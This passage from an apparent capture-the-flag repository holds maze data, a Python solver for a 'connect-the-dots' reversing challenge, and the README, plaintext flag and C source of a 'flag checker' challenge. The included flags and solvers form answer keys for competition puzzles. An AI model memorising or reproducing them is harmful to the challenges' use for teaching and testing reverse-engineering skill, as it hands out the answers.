5, 9, 10, 12, 5, 9, 10, 10, 6, 5, 3, 10, 2, 12, 9, 10, 10, 6, 9, 188, 5, 11, 4, 5, 5, 1, 14, 3, 4, 9, 10, 6, 5, 9, 14, 3, 12, 3, 10, 10, 12, 11, 12, 9, 6, 3, 2, 6, 3, 12, 5, 9, 6, 5, 3, 12, 5, 5, 11, 10, 2, 2, 14, 5, 5, 5, 9, 12, 13, 3, 12, 11, 10, 6, 5, 9, 10, 10, 4, 5, 3, 12, 5, 3, 4, 7, 9, 12, 3, 6, 11, 12, 5, 5, 9, 12, 5, 13, 9, 10, 6, 9, 6, 3, 12, 9, 10, 10, 12, 5, 5, 3, 12, 1, 10, 6, 5, 3, 10, 10, 10, 10, 12, 5, 3, 6, 5, 3, 2, 12, 5, 9, 10, 10, 6, 1, 10, 14, 5, 3, 10, 4, 3, 14, 5, 9, 6, 3, 12, 9, 8, 6, 3, 4, 5, 5, 5, 5, 5, 11, 8, 2, 8, 14, 3, 6, 11, 12, 5, 3, 0, 14, 5, 3, 10, 12, 5, 9, 10, 10, 12, 11, 2, 2, 8, 10, 6, 9, 12, 7, 5, 1, 12, 11, 10, 6, 9, 12, 5, 9, 12, 5, 9, 10, 6, 5, 11, 10, 4, 7, 3, 10, 10, 6, 5, 3, 6, 5, 3, 12, 5, 13, 3, 8, 10, 8, 10, 6, 3, 12, 7, 9, 6, 9, 10, 6, 3, 6, 9, 10, 4, 9, 10, 12, 7, 9, 10, 6, 3, 10, 6, 7, 1, 10, 10, 12, 5, 5, 5, 5, 3, 6, 3, 12, 13, 5, 9, 12, 5, 9, 10, 10, 10, 10, 6, 11, 12, 1, 10, 6, 5, 1, 14, 3, 12, 7, 9, 8, 14, 5, 9, 6, 11, 2, 10, 10, 12, 13, 5, 11, 4, 5, 13, 3, 10, 6, 11, 10, 10, 8, 10, 12, 3, 14, 9, 6, 5, 5, 5, 3, 10, 8, 14, 5, 5, 5, 5, 5, 3, 6, 9, 12, 11, 10, 8, 10, 6, 3, 12, 13, 5, 3, 8, 14, 3, 12, 5, 3, 12, 5, 3, 10, 10, 12, 9, 12, 3, 4, 3, 12, 5, 3, 2, 12, 11, 8, 10, 12, 9, 6, 9, 6, 9, 10, 6, 9, 6, 3, 6, 9, 12, 7, 9, 6, 5, 5, 5, 3, 10, 10, 6, 3, 10, 12, 1, 12, 201, 10, 6, 3, 2, 10, 6, 9, 10, 4, 5, 13, 3, 6, 9, 10, 12, 5, 5, 5, 9, 6, 9, 6, 3, 12, 13, 3, 10, 6, 13, 3, 6, 9, 6, 11, 2, 12, 9, 4, 9, 10, 10, 6, 3, 10, 6, 9, 6, 5, 3, 10, 12, 9, 10, 10, 12, 5, 7, 3, 2, 10, 12, 9, 10, 10, 12, 3, 12, 5, 3, 4, 11, 10, 4, 9, 2, 6, 5, 3, 6, 13, 5, 11, 10, 2, 2, 10, 10, 8, 6, 9, 10, 6, 11, 8, 12, 5, 5, 7, 5, 9, 10, 10, 14, 9, 10, 2, 12, 3, 8, 12, 3, 6, 11, 12, 5, 3, 10, 12, 9, 12, 3, 4, 9, 12, 3, 10, 6, 5, 13, 3, 12, 9, 4, 7, 9, 12, 5, 9, 10, 6, 3, 8, 12, 9, 10, 12, 9, 6, 9, 6, 11, 8, 10, 6, 3, 6, 3, 12, 5, 3, 8, 10, 12, 3, 12, 9, 4, 9, 6, 3, 14, 9, 8, 6, 1, 10, 14, 1, 6, 5, 11, 6, 5, 5, 9, 12, 9, 6, 1, 12, 3, 6, 5, 9, 6, 5, 3, 6, 9, 10, 12, 7, 5, 3, 12, 3, 6, 13, 5, 11, 8, 6, 11, 10, 10, 8, 10, 4, 3, 12, 3, 14, 3, 10, 6, 5, 5, 5, 9, 12, 9, 6, 3, 10, 6, 9, 12, 3, 14, 1, 12, 9, 6, 5, 7, 3, 2, 10, 6, 5, 13, 9, 6, 5, 11, 2, 10, 10, 4, 11, 2, 218, 6, 13, 5, 9, 10, 4, 3, 10, 6, 9, 10, 10, 10, 6, 9, 6, 13, 3, 10, 10, 10, 10, 10, 6, 5, 1, 6, 5, 3, 12, 13, 9, 10, 6, 3, 10, 12, 7, 3, 2, 14, 1, 10, 10, 10, 10, 12, 3, 4, 5, 13, 3, 10, 10, 10, 12, 7, 9, 10, 10, 12, 3, 2, 6, 13, 3, 12, 9, 12, 5, 9, 8, 10, 12, 5, 9, 2, 10, 8, 8, 10, 10, 10, 14, 5, 3, 14, 1, 12, 5, 5, 5, 9, 12, 9, 14, 5, 9, 10, 10, 12, 7, 9, 12, 9, 12, 3, 12, 7, 3, 4, 9, 10, 14, 9, 6, 9, 6, 9, 14, 3, 12, 9, 8, 0, 14, 5, 5, 3, 6, 5, 3, 12, 5, 5, 7, 9, 12, 7, 5, 9, 10, 12, 9, 6, 9, 8, 6, 7, 3, 4, 3, 6, 5, 1, 12, 1, 6, 11, 8, 2, 10, 6, 3, 6, 3, 12, 3, 12, 9, 6, 3, 12, 9, 6, 9, 6, 11, 2, 8, 12, 5, 7, 5, 7, 9, 6, 1, 10, 12, 3, 12, 5, 7, 3, 10, 6, 3, 12, 1, 6, 9, 6, 5, 13, 5, 7, 9, 12, 9, 2, 14, 9, 6, 5, 3, 6, 9, 12, 5, 9, 10, 12, 9, 10, 14, 5, 9, 6, 3, 10, 10, 4, 5, 9, 6, 9, 10, 10, 6, 5, 3, 12, 3, 10, 2, 12, 3, 14, 3, 12, 7, 5, 9, 10, 12, 9, 12, 5, 7, 9, 6, 9, 6, 5, 3, 10, 6, 3, 2, 14, 9, 6, 13, 5, 13, 9, 6, 5, 7, 5, 13, 5, 5, 9, 10, 6, 1, 10, 10, 8, 14, 5, 5, 3, 12, 5, 9, 10, 14, 5, 13, 3, 10, 12, 11, 2, 12, 9, 10, 6, 9, 6, 5, 13, 3, 6, 5, 3, 10, 4, 9, 6, 9, 4, 9, 10, 10, 10, 10, 12, 1, 12, 3, 2, 6, 1, 14, 5, 9, 2, 6, 5, 5, 3, 12, 11, 0, 10, 14, 5, 9, 6, 3, 12, 3, 6, 3, 12, 9, 6, 3, 8, 12, 5, 9, 12, 5, 5, 9, 10, 2, 10, 6, 3, 8, 14, 3, 10, 12, 5, 5, 11, 4, 5, 5, 11, 8, 10, 10, 6, 5, 3, 10, 10, 10, 6, 9, 4, 1, 14, 9, 6, 1, 14, 3, 12, 7, 9, 10, 4, 5, 9, 14, 3, 10, 8, 10, 6, 3, 12, 9, 6, 5, 3, 6, 5, 1, 6, 3, 10, 10, 12, 9, 10, 6, 9, 8, 14, 3, 6, 3, 12, 5, 5, 1, 12, 3, 10, 12, 11, 2, 10, 10, 14, 9, 8, 6, 7, 5, 9, 6, 11, 2, 10, 10, 2, 10, 6, 11, 6, 5, 5, 9, 10, 12, 3, 10, 10, 12, 3, 6, 9, 6, 13, 9, 6, 7, 9, 12, 9, 12, 5, 3, 10, 10, 4, 3, 10, 12, 9, 10, 6, 5, 7, 7, 5, 9, 12, 5, 9, 10, 12, 9, 10, 6, 5, 9, 10, 6, 3, 10, 10, 12, 9, 10, 12, 9, 12, 9, 12, 5, 5, 5, 13, 3, 12, 9, 12, 5, 9, 12, 3, 10, 4, 3, 10, 10, 6, 5, 5, 5, 3, 10, 10, 12, 7, 9, 10, 6, 3, 10, 236, 3, 12, 9, 6, 5, 7, 5, 5, 13, 3, 6, 9, 14, 5, 3, 12, 9, 10, 10, 12, 3, 6, 9, 6, 5, 3, 6, 3, 6, 1, 2, 6, 9, 6, 5, 5, 3, 6, 1, 10, 14, 5, 9, 10, 12, 9, 6, 7, 3, 8, 10, 12, 3, 8, 6, 9, 10, 10, 12, 3, 12, 5, 1, 12, 3, 8, 6, 5, 1, 10, 14, 1, 10, 2, 14, 5, 5, 9, 12, 3, 10, 12, 3, 10, 6, 11, 10, 8, 12, 7, 9, 12, 5, 9, 6, 3, 12, 9, 6, 9, 12, 3, 6, 13, 5, 3, 12, 9, 12, 5, 9, 4, 9, 6, 9, 6, 9, 12, 1, 14, 5, 5, 5, 3, 12, 3, 12, 5, 3, 8, 10, 6, 9, 10, 10, 6, 3, 6, 3, 12, 13, 5, 9, 10, 10, 8, 10, 6, 3, 10, 6, 5, 5, 3, 12, 11, 2, 6, 9, 6, 3, 10, 10, 4, 3, 12, 5, 5, 5, 7, 5, 7, 5, 9, 2, 14, 5, 5, 3, 12, 5, 5, 1, 14, 5, 13, 5, 3, 12, 5, 9, 10, 6, 11, 10, 8, 10, 12, 11, 2, 6, 5, 5, 9, 10, 6, 11, 10, 8, 14, 9, 6, 1, 12, 3, 10, 12, 9, 6, 9, 8, 10, 12, 3, 12, 5, 3, 6, 3, 12, 5, 9, 6, 5, 13, 9, 6, 3, 10, 6, 3, 4, 5, 9, 6, 3, 0, 10, 6, 7, 5, 9, 10, 10, 10, 6, 13, 3, 12, 9, 12, 3, 6, 5, 9, 8, 10, 12, 3, 12, 3, 12, 5, 3, 10, 14, 3, 6, 9, 6, 5, 13, 3, 12, 5, 3, 12, 9, 12, 5, 3, 6, 9, 6, 5, 3, 10, 10, 10, 10, 10, 6, 5, 3, 10, 12, 7, 9, 10, 10, 6, 3, 12, 9, 8, 12, 3, 12, 5, 5, 3, 12, 9, 6, 5, 5, 11, 2, 10, 4, 13, 5, 5, 9, 10, 10, 10, 10, 6, 9, 6, 5, 9, 6, 1, 12, 5, 7, 5, 3, 10, 10, 6, 9, 4, 9, 8, 14, 9, 8, 12, 13, 3, 12, 9, 6, 9, 6, 13, 9, 8, 10, 6, 7, 5, 3, 10, 4, 5, 3, 12, 5, 5, 11, 4, 3, 12, 9, 10, 2, 6, 5, 5, 3, 8, 14, 9, 10, 10, 6, 9, 2, 6, 9, 6, 5, 3, 12, 1, 8, 10, 10, 10, 6, 5, 5, 3, 10, 6, 5, 5, 5, 9, 6, 3, 12, 5, 9, 6, 5, 5, 9, 10, 12, 5, 9, 12, 7, 3, 10, 6, 5, 1, 12, 5, 9, 6, 7, 9, 12, 9, 6, 1, 10, 6, 9, 6, 9, 12, 13, 5, 11, 12, 5, 13, 3, 12, 5, 7, 1, 12, 9, 12, 9, 6, 3, 14, 9, 12, 5, 3, 4, 3, 12, 9, 4, 5, 3, 10, 6, 3, 2, 14, 5, 5, 5, 3, 8, 12, 13, 9, 6, 7, 5, 5, 3, 10, 12, 5, 3, 6, 11, 2, 10, 14, 5, 11, 4, 5, 5, 5, 9, 4, 5, 3, 10, 6, 3, 12, 7, 3, 4, 5, 3, 10, 12, 9, 6, 5, 5, 9, 6, 9, 6, 5, 7, 3, 12, 9, 10, 10, 12, 9, 6, 1, 6, 9, 6, 3, 6, 3, 10, 12, 5, 5, 13, 9, 6, 3, 10, 10, 10, 12, 9, 10, 6, 9, 6, 3, 6, 3, 6, 5, 3, 12, 9, 10, 12, 3, 10, 12, 7, 3, 12, 13, 5, 5, 9, 6, 5, 3, 12, 3, 14, 3, 10, 10, 2, 6, 11, 10, 2, 6, 11, 2, 14, 3, 10, 10, 10, 10, 10, 2, 6, 3, 6, 3, 10, 10, 10, 10, 10, 2, 6, 11, 10, 2, 10, 10, 10, 10, 10, 2, 14, 3, 2, 14, 243, 10, 10, 2, 10, 10, 6, 3, 2, 6, 3, 10, 6, 11, 6] ================================================ FILE: rev/connect-the-dots/solve/solve.py ================================================ from maze_data import MAZE_WIDTH, MAZE_HEIGHT, DOTS_DATA, MAZE_DATA from itertools import permutations def prod(arr, n): p = 1 for a in arr: p *= a p %= n return p """ 1. figure out the correct order of dots to get the goal to be 0xff 2. bfs to find path to each dot in the correct order """ MOVES = { 'WEST': (-1, 'h', 0b0001), 'EAST': (1, 'l', 0b0100), 'SOUTH': (MAZE_WIDTH, 'j', 0b0010), 'NORTH': (-MAZE_WIDTH, 'k', 0b1000) } def get_neighbours(maze, pos): neighbours = [] for m in MOVES: dpos, move_char, data_mask = MOVES[m] new_pos = pos + dpos if 0 <= new_pos < len(maze) and (maze[pos] & data_mask == 0): neighbours.append((new_pos, move_char)) return neighbours def bfs(maze, start, goal): visited = {start} parents = {} Q = [start] while len(Q): v = Q.pop(0) if v == goal: return reconstruct_path(parents, goal) for neighbour, move in get_neighbours(maze, v): if neighbour in visited: continue visited.add(neighbour) parents[neighbour] = (v, move) Q.append(neighbour) def reconstruct_path(parents, goal): path = [] moves = [] while goal in parents: moves.insert(0, parents[goal][1]) path.insert(0, goal) goal = parents[goal][0] path.insert(0, goal) return path, ''.join(moves) def get_dot_locations_and_idx(maze): dot_locations = [] for i, p in enumerate(maze): if p & 0b10000000: x = i % MAZE_WIDTH y = i // MAZE_HEIGHT dot_idx = (p >> 4) & 0b111 dot_locations.append((x, y)) return dot_locations # naive but feasible def get_dot_ordering(dot_data_): dot_data = list(enumerate(dot_data_)) for perm in permutations(dot_data): state = 0 for _, z in perm: state &= (z >> 8) state ^= (z & 0xff) if state == 0xff: return [i for i, _ in perm] dot_locs = get_dot_locations_and_idx(MAZE_DATA) win_dot_ordering = get_dot_ordering(DOTS_DATA) print('dot_locations:', dot_locs) print('dot_ordering:', win_dot_ordering) checkpoints = [dot_locs[i] for i in win_dot_ordering] checkpoints = [x + MAZE_WIDTH*y for x, y in checkpoints] win_moves = '' cur_pos = 0 for c in checkpoints: _, moves = bfs(MAZE_DATA, cur_pos, c) cur_pos = c win_moves += moves + 'x' print('win_moves:', win_moves) key = [win_moves[i:i+81] for i in range(0, len(win_moves)-2, 81)] key = [prod(w.encode(), 0xff) for w in key] print('key:', list(key)) ct = [184, 64, 13, 26, 252, 53, 44, 60, 181, 51, 222, 15, 102, 86, 225, 60, 179, 244, 161, 3, 99, 198, 139, 217, 105, 244, 215, 157, 161, 163, 216, 244, 48, 247, 150, 164, 240, 237, 200, 234, 153, 108, 162, 113] flag = bytes([c^k for c,k in zip(ct, key)]) print('flag:', flag.decode()) ================================================ FILE: rev/flag-checker/README.md ================================================ # flag checker **Category:** reversing **Difficulty:** medium-hard **Author:** joseph#8210 What more could you ask for than a program that checks the flag for you? Just guess and check and eventually the flag will be yours! **Attached files:** - ./challenge/flag_checker (sha256: a1e8ef2b2f1d5985ca73d029f207dd86e56d52f1d48a7f6d290c311ff5fb58a1) ================================================ FILE: rev/flag-checker/challenge/flag.txt ================================================ DUCTF{rev3rs1bl3___and___1nv3rtibl3} ================================================ FILE: rev/flag-checker/challenge/flag_checker.c ================================================ #include #include #include #include "offsets.h" #define MAX_NUM_CHILDREN 5 #define BLOCK_SIZE 36 #define NUM_NODES 256 #define NUM_ROUNDS 16 struct node { unsigned char value; struct node** children; }; typedef struct node node_t; unsigned int s; void _srand(unsigned int x) { s = x; } unsigned int _rand() { s = s * 0x9157131 + 0x44799011; return s; } void init() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); } node_t* generate(unsigned char* buf) { _srand(0x1337); node_t** leaves = (node_t**) calloc(MAX_NUM_CHILDREN * NUM_NODES, sizeof(node_t*)); node_t* root = (node_t*) malloc(sizeof(node_t)); leaves[0] = root; int cur_len = 1; int i; for(i = 0; i < NUM_NODES; i++) { // get head of queue node_t* cur = leaves[i]; int num_children = (_rand() % MAX_NUM_CHILDREN); // you are a leaf if(num_children == 0) continue; // add random number of children to queue node_t** children = (node_t**) calloc(num_children, sizeof(node_t*)); for(int j = 0; j < num_children; j++) { node_t* child = (node_t*) malloc(sizeof(node_t)); children[j] = child; leaves[cur_len++] = child; } cur->children = children; // nullify array entry leaves[i] = NULL; } // add values to leaves for(i = 0; i < cur_len; i++) { if(leaves[i] == NULL) continue; leaves[i]->value = buf[_rand() % BLOCK_SIZE]; // 👀 /* int c = _rand() % BLOCK_SIZE; */ /* unsigned int offset = (unsigned int)((long)leaves[i] - (long)root); */ /* printf("%03d | offset: %04x, value: %d\n", i, offset, c); */ /* printf("#define OFFSET_FOR_%02d_%d 0x%x\n", c, i, offset); */ } return root; } void permute(unsigned char* input, node_t* root) { input[0] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_23_216); input[1] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_16_500); input[2] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_19_19); input[3] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_12_37); input[4] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_31_271); input[5] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_24_284); input[6] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_17_281); input[7] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_22_482); input[8] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_13_257); input[9] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_18_127); input[10] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_25_24); input[11] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_30_30); input[12] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_09_417); input[13] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_02_17); input[14] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_11_259); input[15] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_04_412); input[16] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_33_154); input[17] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_26_302); input[18] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_03_117); input[19] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_08_121); input[20] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_05_377); input[21] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_10_294); input[22] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_27_132); input[23] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_32_166); input[24] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_21_104); input[25] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_14_402); input[26] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_35_161); input[27] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_28_316); input[28] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_07_263); input[29] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_00_219); input[30] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_15_503); input[31] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_20_260); input[32] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_29_172); input[33] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_34_414); input[34] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_01_301); input[35] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_06_258); } unsigned char m2(unsigned char b) { return (b << 1) ^ (((b >> 7) & 1) * 0x1b); } void mix_column(unsigned char* input, int idxs[]) { unsigned char b0, b1, b2, b3, b4, b5; unsigned char d0, d1, d2, d3, d4, d5; b0 = input[idxs[0]]; b1 = input[idxs[1]]; b2 = input[idxs[2]]; b3 = input[idxs[3]]; b4 = input[idxs[4]]; b5 = input[idxs[5]]; d0 = b0 ^ m2(b0) ^ b2 ^ m2(b2) ^ (m2(b4)); d1 = b1 ^ m2(b1) ^ b3 ^ m2(b3) ^ (m2(b5)); d2 = m2(b0) ^ b4; d3 = m2(b1) ^ b5; d4 = b0 ^ m2(b0) ^ m2(b2); d5 = b1 ^ m2(b1) ^ m2(b3); input[idxs[0]] = d0; input[idxs[1]] = d1; input[idxs[2]] = d2; input[idxs[3]] = d3; input[idxs[4]] = d4; input[idxs[5]] = d5; } void mix(unsigned char* input) { int c0[6] = {0, 1, 2, 6, 12, 18}; int c1[6] = {3, 4, 5, 11, 17, 23}; int c2[6] = {7, 8, 9, 13, 14, 15}; int c3[6] = {10, 16, 22, 28, 29, 35}; int c4[6] = {19, 20, 24, 25, 26, 30}; int c5[6] = {21, 27, 31, 32, 33, 34}; mix_column(input, c0); mix_column(input, c1); mix_column(input, c2); mix_column(input, c3); mix_column(input, c4); mix_column(input, c5); } void die() { puts("Incorrect :("); exit(1); } unsigned char final[BLOCK_SIZE] = {0x0f, 0x4f, 0x73, 0x3c, 0x41, 0xc6, 0xa4, 0xaf, 0xb4, 0x41, 0xd6, 0x65, 0xc8, 0x99, 0xaa, 0xb3, 0x6c, 0x99, 0x61, 0x3c, 0x4e, 0xdd, 0x70, 0x46, 0x15, 0x66, 0x3c, 0x1b, 0x7f, 0x16, 0xa6, 0x6f, 0x23, 0x13, 0x12, 0x6e}; int main() { init(); unsigned char input[BLOCK_SIZE+1]; printf("What's the flag?: "); fgets((char*)input, sizeof(input), stdin); if(strlen((char*)input) != BLOCK_SIZE) { die(); } for(int i = 0; i < NUM_ROUNDS; i++) { mix(input); node_t* root = generate(input); permute(input, root); } for(int i = 0; i < BLOCK_SIZE; i++) { if(input[i] != final[i]) { die(); } } puts("Correct! :)"); exit(0); } ================================================ FILE: rev/flag-checker/challenge/offsets.h ================================================ #define OFFSET_FOR_20_3 0x90 #define OFFSET_FOR_29_6 0x120 #define OFFSET_FOR_02_17 0x310 #define OFFSET_FOR_19_19 0x370 #define OFFSET_FOR_12_23 0x420 #define OFFSET_FOR_25_24 0x440 #define OFFSET_FOR_30_30 0x5b0 #define OFFSET_FOR_03_33 0x610 #define OFFSET_FOR_12_37 0x6f0 #define OFFSET_FOR_29_42 0x7c0 #define OFFSET_FOR_26_45 0x860 #define OFFSET_FOR_03_51 0x990 #define OFFSET_FOR_04_53 0x9d0 #define OFFSET_FOR_09_55 0xa30 #define OFFSET_FOR_14_56 0xa70 #define OFFSET_FOR_35_62 0xbc0 #define OFFSET_FOR_08_63 0xbe0 #define OFFSET_FOR_21_65 0xc20 #define OFFSET_FOR_06_69 0xce0 #define OFFSET_FOR_11_84 0xfb0 #define OFFSET_FOR_28_87 0x1050 #define OFFSET_FOR_33_96 0x11e0 #define OFFSET_FOR_26_97 0x1200 #define OFFSET_FOR_03_99 0x1260 #define OFFSET_FOR_16_103 0x1310 #define OFFSET_FOR_21_104 0x1330 #define OFFSET_FOR_22_115 0x1520 #define OFFSET_FOR_03_117 0x1580 #define OFFSET_FOR_08_121 0x1620 #define OFFSET_FOR_01_124 0x16c0 #define OFFSET_FOR_18_127 0x1750 #define OFFSET_FOR_27_132 0x1840 #define OFFSET_FOR_12_138 0x1920 #define OFFSET_FOR_33_154 0x1bf0 #define OFFSET_FOR_30_155 0x1c40 #define OFFSET_FOR_35_161 0x1d40 #define OFFSET_FOR_32_166 0x1e20 #define OFFSET_FOR_29_172 0x1f40 #define OFFSET_FOR_18_173 0x1f80 #define OFFSET_FOR_35_176 0x2020 #define OFFSET_FOR_16_190 0x22a0 #define OFFSET_FOR_33_193 0x2330 #define OFFSET_FOR_30_210 0x2630 #define OFFSET_FOR_23_216 0x2730 #define OFFSET_FOR_00_219 0x27b0 #define OFFSET_FOR_33_236 0x2af0 #define OFFSET_FOR_26_245 0x2c90 #define OFFSET_FOR_15_247 0x2cf0 #define OFFSET_FOR_32_256 0x2e80 #define OFFSET_FOR_13_257 0x2ea0 #define OFFSET_FOR_06_258 0x2ef0 #define OFFSET_FOR_11_259 0x2f10 #define OFFSET_FOR_20_260 0x2f30 #define OFFSET_FOR_33_261 0x2f50 #define OFFSET_FOR_06_262 0x2f90 #define OFFSET_FOR_07_263 0x2fb0 #define OFFSET_FOR_04_264 0x3000 #define OFFSET_FOR_25_265 0x3020 #define OFFSET_FOR_18_266 0x3040 #define OFFSET_FOR_35_267 0x3060 #define OFFSET_FOR_16_268 0x30a0 #define OFFSET_FOR_33_269 0x30e0 #define OFFSET_FOR_34_270 0x3100 #define OFFSET_FOR_31_271 0x3120 #define OFFSET_FOR_12_272 0x3160 #define OFFSET_FOR_13_273 0x3180 #define OFFSET_FOR_06_274 0x31a0 #define OFFSET_FOR_23_275 0x31e0 #define OFFSET_FOR_00_276 0x3200 #define OFFSET_FOR_33_277 0x3220 #define OFFSET_FOR_18_278 0x3270 #define OFFSET_FOR_31_279 0x3290 #define OFFSET_FOR_32_280 0x32b0 #define OFFSET_FOR_17_281 0x32d0 #define OFFSET_FOR_18_282 0x3310 #define OFFSET_FOR_31_283 0x3330 #define OFFSET_FOR_24_284 0x3370 #define OFFSET_FOR_05_285 0x3390 #define OFFSET_FOR_02_286 0x33b0 #define OFFSET_FOR_27_287 0x3400 #define OFFSET_FOR_00_288 0x3420 #define OFFSET_FOR_25_289 0x3440 #define OFFSET_FOR_18_290 0x3460 #define OFFSET_FOR_15_291 0x34a0 #define OFFSET_FOR_04_292 0x34c0 #define OFFSET_FOR_33_293 0x34e0 #define OFFSET_FOR_10_294 0x3520 #define OFFSET_FOR_35_295 0x3570 #define OFFSET_FOR_00_296 0x3590 #define OFFSET_FOR_33_297 0x35b0 #define OFFSET_FOR_10_298 0x35d0 #define OFFSET_FOR_07_299 0x3610 #define OFFSET_FOR_08_300 0x3630 #define OFFSET_FOR_01_301 0x3650 #define OFFSET_FOR_26_302 0x3690 #define OFFSET_FOR_11_303 0x36d0 #define OFFSET_FOR_04_304 0x36f0 #define OFFSET_FOR_17_305 0x3730 #define OFFSET_FOR_26_306 0x3770 #define OFFSET_FOR_23_307 0x3790 #define OFFSET_FOR_12_308 0x37b0 #define OFFSET_FOR_05_309 0x37f0 #define OFFSET_FOR_02_310 0x3830 #define OFFSET_FOR_15_311 0x3850 #define OFFSET_FOR_20_312 0x3870 #define OFFSET_FOR_09_313 0x38b0 #define OFFSET_FOR_18_314 0x38d0 #define OFFSET_FOR_15_315 0x3910 #define OFFSET_FOR_28_316 0x3930 #define OFFSET_FOR_09_317 0x3970 #define OFFSET_FOR_06_318 0x3990 #define OFFSET_FOR_35_319 0x39d0 #define OFFSET_FOR_24_320 0x39f0 #define OFFSET_FOR_13_321 0x3a10 #define OFFSET_FOR_06_322 0x3a50 #define OFFSET_FOR_15_323 0x3aa0 #define OFFSET_FOR_12_324 0x3ac0 #define OFFSET_FOR_17_325 0x3ae0 #define OFFSET_FOR_02_326 0x3b00 #define OFFSET_FOR_31_327 0x3b40 #define OFFSET_FOR_20_328 0x3b60 #define OFFSET_FOR_21_329 0x3b80 #define OFFSET_FOR_10_330 0x3bc0 #define OFFSET_FOR_35_331 0x3c10 #define OFFSET_FOR_28_332 0x3c30 #define OFFSET_FOR_01_333 0x3c50 #define OFFSET_FOR_22_334 0x3c70 #define OFFSET_FOR_27_335 0x3cb0 #define OFFSET_FOR_20_336 0x3cd0 #define OFFSET_FOR_33_337 0x3cf0 #define OFFSET_FOR_34_338 0x3d30 #define OFFSET_FOR_15_339 0x3d70 #define OFFSET_FOR_08_340 0x3db0 #define OFFSET_FOR_21_341 0x3df0 #define OFFSET_FOR_14_342 0x3e10 #define OFFSET_FOR_23_343 0x3e30 #define OFFSET_FOR_24_344 0x3e70 #define OFFSET_FOR_33_345 0x3e90 #define OFFSET_FOR_26_346 0x3eb0 #define OFFSET_FOR_27_347 0x3ef0 #define OFFSET_FOR_04_348 0x3f30 #define OFFSET_FOR_25_349 0x3f50 #define OFFSET_FOR_10_350 0x3f70 #define OFFSET_FOR_15_351 0x3fb0 #define OFFSET_FOR_08_352 0x3ff0 #define OFFSET_FOR_13_353 0x4040 #define OFFSET_FOR_10_354 0x4060 #define OFFSET_FOR_07_355 0x4080 #define OFFSET_FOR_08_356 0x40a0 #define OFFSET_FOR_01_357 0x40e0 #define OFFSET_FOR_34_358 0x4130 #define OFFSET_FOR_03_359 0x4150 #define OFFSET_FOR_16_360 0x4170 #define OFFSET_FOR_33_361 0x4190 #define OFFSET_FOR_26_362 0x41d0 #define OFFSET_FOR_03_363 0x41f0 #define OFFSET_FOR_04_364 0x4230 #define OFFSET_FOR_33_365 0x4250 #define OFFSET_FOR_30_366 0x4270 #define OFFSET_FOR_27_367 0x42c0 #define OFFSET_FOR_12_368 0x42e0 #define OFFSET_FOR_01_369 0x4300 #define OFFSET_FOR_26_370 0x4320 #define OFFSET_FOR_03_371 0x4360 #define OFFSET_FOR_04_372 0x4380 #define OFFSET_FOR_09_373 0x43c0 #define OFFSET_FOR_26_374 0x43e0 #define OFFSET_FOR_15_375 0x4400 #define OFFSET_FOR_08_376 0x4440 #define OFFSET_FOR_05_377 0x4480 #define OFFSET_FOR_34_378 0x44a0 #define OFFSET_FOR_15_379 0x44e0 #define OFFSET_FOR_12_380 0x4520 #define OFFSET_FOR_21_381 0x4540 #define OFFSET_FOR_02_382 0x4580 #define OFFSET_FOR_07_383 0x45a0 #define OFFSET_FOR_04_384 0x45c0 #define OFFSET_FOR_25_385 0x4600 #define OFFSET_FOR_34_386 0x4620 #define OFFSET_FOR_11_387 0x4660 #define OFFSET_FOR_20_388 0x4680 #define OFFSET_FOR_13_389 0x46a0 #define OFFSET_FOR_34_390 0x46e0 #define OFFSET_FOR_11_391 0x4700 #define OFFSET_FOR_08_392 0x4720 #define OFFSET_FOR_33_393 0x4770 #define OFFSET_FOR_02_394 0x4790 #define OFFSET_FOR_23_395 0x47b0 #define OFFSET_FOR_20_396 0x47d0 #define OFFSET_FOR_13_397 0x4810 #define OFFSET_FOR_10_398 0x4830 #define OFFSET_FOR_35_399 0x4850 #define OFFSET_FOR_20_400 0x4890 #define OFFSET_FOR_09_401 0x48b0 #define OFFSET_FOR_14_402 0x48d0 #define OFFSET_FOR_35_403 0x4910 #define OFFSET_FOR_12_404 0x4930 #define OFFSET_FOR_13_405 0x4950 #define OFFSET_FOR_10_406 0x4990 #define OFFSET_FOR_19_407 0x49b0 #define OFFSET_FOR_08_408 0x49f0 #define OFFSET_FOR_21_409 0x4a10 #define OFFSET_FOR_10_410 0x4a50 #define OFFSET_FOR_31_411 0x4aa0 #define OFFSET_FOR_04_412 0x4ac0 #define OFFSET_FOR_17_413 0x4ae0 #define OFFSET_FOR_34_414 0x4b00 #define OFFSET_FOR_11_415 0x4b50 #define OFFSET_FOR_16_416 0x4b70 #define OFFSET_FOR_09_417 